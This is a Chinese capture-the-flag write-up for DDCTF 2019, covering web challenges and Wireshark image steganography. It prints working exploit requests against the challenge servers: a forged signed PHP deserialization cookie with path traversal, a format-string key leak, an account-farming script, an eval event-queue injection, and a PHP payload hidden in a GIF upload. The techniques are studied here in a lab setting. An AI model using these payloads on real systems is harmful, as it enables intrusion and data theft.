Web

滴~

对于这个题,无话可说,我只想打死出题人。

Url:

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http://117.51.150.246

访问,得到如下界面:

此时,url跳转为:

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http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 进行两次base64,再从16进制转成ascii,得到flag.jpg。
可以推出存在文件包含/源码泄漏。

读取 index.php 源码。
index.php

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<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

得到一个CSDN博客的链接,访问发现发文日期是 2018年06月07日 23:58:02,而注释中的日期是July 4,2018。
故找到博主在该日期发的blog。
是这篇:vim 异常退出 swp文件提示
读完整篇文章,是关于vim缓存的swp文件。全文主要提及的示例文件为 .practice.txt.swp

访问:

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http://117.51.150.246/.practice.txt.swp [404]

试了各种swo,swn等等均404。
最后,正确链接应为(出题人biss):

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http://117.51.150.246/practice.txt.swp

得到flag文件地址 f1ag!ddctf.php
利用源码读取的漏洞,读取源码。
f1ag!ddctf.php

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<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>

读取 hello,发现为空。
所以uid留空即可。

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http://117.51.150.246/f1ag!ddctf.php?uid=

Get the Flag:

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DDCTF{436f6e67726174756c6174696f6e73}

WEB签到题

Url:

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http://117.51.158.44/index.php

访问后,提示:

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抱歉,您没有登陆权限,请获取权限后访问-----

分析页面源代码,找到 /js/index.js

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/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/

function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}

添加Header:

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didictf_username: admin

得到:

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您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php

访问app/fL2XID2i0Cdh.php,发现是代码审计。
源代码如下:

url:app/Application.php

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Class Application {
var $path = '';


public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

}

public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}

}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}

url:app/Session.php

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include 'Application.php';
class Session extends Application {

//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";


public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}

}

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);


if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;

}

private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);

}
}


$ddctf = new Session();
$ddctf->index();

可以看出这是一个php反序列化漏洞,但是cookie使用eancrykey签名,我们必须得到eancrykey才能通过验证。
再看这段代码:

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if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

可以看出这是一个字符串格式化,故,我们将nickname设置为 %s,即可将eancrykey打印出来。

Payload:

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POST /app/Session.php HTTP/1.1
Host: 117.51.158.44
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22bf8d6b314fa6344d0b92c7c49c2e83bc%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%22111.40.48.56%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A114%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F73.0.3683.86+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D2ca5912a575e254f98a4214b16b51a82
didictf_username: admin
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

nickname=%s

Response:

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HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 12 Apr 2019 08:40:57 GMT
Content-Type: application/json
Connection: close
Content-Length: 364

{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Welcome","data":"Welcome my friend EzblrbNS\r\n"}{"errMsg":"sucess","data":"DiDI Welcome you Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/73.0.3683.86 Safari\/537.36"}

得到eancrykey为 EzblrbNS

然后构造序列化脚本,注意这里需要对”../“和”..\“的替换进行处理,还有保证字符串长度为18。

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<?php
Class Application {
var $path = '../..././config/flag.txt';
}

$arr= array(
'session_id' => "032c9b9dae49cfd2d789ad7456c50ba8",
'ip_address' => "111.40.48.56",
'user_agent' => "Mozilla/5.0 (Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36 (KHTML,+like+Gecko)+Chrome/73.0.3683.86+Safari/537.36",
'user_data' => new Application(),
);

$s = serialize($arr);

echo urlencode($s.md5("EzblrbNS".$s));

Payload:

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POST /app/Session.php HTTP/1.1
Host: 117.51.158.44
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36 (KHTML,+like+Gecko)+Chrome/73.0.3683.86+Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22032c9b9dae49cfd2d789ad7456c50ba8%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%22111.40.48.56%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A114%3A%22Mozilla%2F5.0+%28Windows%2BNT%2B10.0%3B%2BWin64%3B%2Bx64%29%2BAppleWebKit%2F537.36+%28KHTML%2C%2Blike%2BGecko%29%2BChrome%2F73.0.3683.86%2BSafari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3BO%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A24%3A%22..%2F...%2F.%2Fconfig%2Fflag.txt%22%3B%7D%7D2d47da5f9cf8faecc976e30318be3800;
didictf_username: admin
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

nickname=%s
`

Response:

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HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 12 Apr 2019 10:13:39 GMT
Content-Type: application/json
Connection: close
Content-Length: 280

{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Welcome","data":"Welcome my friend EzblrbNS\r\n"}{"errMsg":"Congratulations","data":"DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}"}

Get the Flag:

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DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}

大吉大利,今晚吃鸡~

Url:

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http://117.51.147.155:5050/index.html#/login

正常注册登陆,购票支付,余额不足。
发现下单的地方可以修改订单价格。

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http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=2000

将金额改为2147483648,支付的时候服务器报错;改成2147483647,则余额不足。此处应该是将金额溢出为负数或者0或者小于100。

尝试4294967296,支付成功。
进入游戏,只需要移除99个玩家即可。
注册小号,批量获取id和ticket。

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#-*- coding: utf-8 -*-

import requests
import datetime
import time
import random

headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36"}


class User(object):
def __init__(self, un, pwd):
self.un = un
self.pwd = pwd
self.s = requests.Session()

def reg(self):
r = self.s.get("http://117.51.147.155:5050/ctf/api/register", headers=headers, params={
"name": self.un,
"password": self.pwd
})
# return r.json().get('data')[0].get('account')

def order(self):
r = self.s.get("http://117.51.147.155:5050/ctf/api/buy_ticket", headers=headers, params={
"ticket_price": 2**32,
})
self.bill_id = r.json().get('data')[0].get('bill_id')

def buy(self):
r = self.s.get("http://117.51.147.155:5050/ctf/api/pay_ticket", headers=headers, params={
"bill_id": self.bill_id,
})
self.id = r.json().get('data')[0].get('your_id')
self.ticket = r.json().get('data')[0].get('your_ticket')

def remove(self, ticket, player_id):
r = self.s.get("http://117.51.147.155:5050/ctf/api/remove_robot", headers=headers, params={
"ticket": ticket,
"id": player_id,
})
print(r.text)

def get_flag(self):
r = self.s.get("http://117.51.147.155:5050/ctf/api/get_flag", headers=headers)
return r.text

def get_tickct(self):
return {'ticket': self.ticket, 'id': self.id}


def reg_player(un, pw):
player = User(un, pw)
player.reg()
time.sleep(0.5)

try:
player.order()
time.sleep(0.5)

player.buy()
time.sleep(0.5)
except:
player.ticket = '46f7f7e50b54a636f3aae60dd839590b'
player.id = "99999"
return player


def main():
print("----------Start-----------")
un = "jzzdz" + str(random.randint(0, 99999999))
winner = reg_player(un, "123456aaaaa")
print("Reg user: ", un)
print("---------Start Game---------")

while True:
player = reg_player("jzzzd" + str(random.randint(0, 99999999)), "123456aaaaa")
info = player.get_tickct()
winner.remove(info['ticket'], info['id'])
time.sleep(0.5)
print("------------------------------")
flag = winner.get_flag()
print(flag)
print("------------------------------")
if "DDCTF" in flag:
break


if __name__ == "__main__":
main()

这服务还会出现重复的id和ticket。。越到后面越慢。最后四个人跑了快半个小时,醉了。

Get the Flag:

homebrew event loop

Url:

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http://116.85.48.107:5002/d5af31f66177e857

分析源代码:

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# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f66177e857'

def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored

def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

class RollBackException: pass

def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------

def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html

def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':

source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool_download_source != 'True':
html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')

def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume

def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'

def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')

if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

这段源码实现了一个任务队列,按顺序执行任务并记录最近五个操作。
源码中有个eval,并且可以#注释掉后面的字符串,从而调用我们想要调用的函数。但是这个函数必须要能接收一个list。
一开始,是想着用eval调用FLAG函数,直接把flag打印出来,后来发现行不通,无法解决参数问题。然后想着利用eval将secret_key打印出来,自己构造session,从而调用get_flag_handler,即可在session中读取出flag,后发现在合法字符中也无法将其打印出来。
最后得到正确思路,get_flag_handler要求session[‘num_items’]>=5,而修改session[‘num_items’]的函数是buy_handler。在buy_handler执行结束后,调用consume_point_function,对于buy_handler的参数进行检测,大于3则会抛出RollBackException。故我们可以从中间下手,破坏这个任务队列,在consume_point_function之前就调用get_flag_handler,将flag记录在session中,从而得到flag。

Payload:

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http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;5%23action:get_flag;

调用trigger_event,即可插入自定义的任务队列,将flag记录在session中。

破解session可以使用下面这个脚本:
Flask-Unsign

破解得到的session:

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flask-unsign --decode --cookie ".eJyNjl9LwzAAxL-K5HkPaeLsUujL0BQGa3C ryx8RaZY5m6VZseumGf3uFkFB5oNvB3f3uzsDt9-C5PEMrjRIgOQ5LDnpmF98lNx4JWYvSiin_b1liFqTuaO2TWXELs6X-avEi0aj6xuFVlAg1Uq-jkE_usDVs2hTtNFgXTjGGUpqnVHPTmkK-qeftvKrTobGajQOhkdO4Omx5GPIwkP6B8mrRol1PCR2Smy_SL9BocwI_n45xxJqOgnG5p2hk_f57fQkEGVqOFPc0WIZEVtA8qaz_44B39XP1WFTtyCBI9DsK38YJO4_AZU1cI8.D5N8_A.KRstbZNCK7q2YsgQ9B-JgBQq4FE"
{'log': [b'action:trigger_event#;action:buy;5#action:get_flag;', [b'action:buy;5', b'action:get_flag;'], [b'func:consume_point;5', b'action:view;index'], b'func:show_flag;3v4l_3v3nt_100p_aNd_fLASK_cOOkle', b'action:view;index'], 'num_items': 0, 'points': 3}

Get the Flag:

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DDCTF{3v4l_3v3nt_100p_aNd_fLASK_cOOkle}

Upload-IMG

Url:

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http://117.51.148.166/upload.php

user:dd@ctf
pass:DD@ctf#000

访问后,上传文件后提示:

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[Check Error]上传的图片源代码中未包含指定字符串:phpinfo()

于是在图片中插入shellcode:

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<?php phpinfo();?>

参考Defeating-PHP-GD-imagecreatefromjpeg
Google一张gif表情包,上传。将上传后的得到的图片保存到本地,再次上传,并保存新的图片。将两次得到的图片的十六进制编码进行比对,在第一张图片the Scan Header (00 0C 03 01 00 02 11 03 11 00 3F 00)后任意一处相同的位置,修改为shellcode即可。

Get the Flag:

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DDCTF{B3s7_7ry_php1nf0}

Misc

真-签到题

看公告,Get the Flag:

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DDCTF{return DDCTF::get(2019)->flagOf(0);}

Wireshark

将获取到的流量包,放入Wireshark,查看http协议。

查看到两个PNG文件,保存。

钥匙状的图疑似被截图,修改图片高度。

PNG文件信息相关:

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7
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9
- (固定)八个字节89 50 4E 47 0D 0A 1A 0A为png的文件头
- (固定)四个字节00 00 00 0D(即为十进制的13)代表数据块的长度为13
- (固定)四个字节49 48 44 52(即为ASCII码的IHDR)是文件头数据块的标示(IDCH)
- (可变)13位数据块(IHDR)
- 前四个字节代表该图片的宽
- 后四个字节代表该图片的高
- 后五个字节依次为:
Bit depth、ColorType、Compression method、Filter method、Interlace method
- (可变)剩余四字节为该png的CRC检验码,由从IDCH到IHDR的十七位字节进行crc计算得到。

修改后得到:

Key:

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xS8niJM7

分析流量包时,发现一条get请求。

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http://tools.jb51.net/aideddesign/img_add_info

发现是图片解密网站,将key输入并上传另一张图,解密,得到:

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flag+AHs-44444354467B4E62756942556C52356C687777324F6670456D75655A6436344F6C524A3144327D+AH0-

将中间的字段从十六进制转为ascii。
Get the Flag:

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DDCTF{NbuiBUlR5lhww2OfpEmueZd64OlRJ1D2}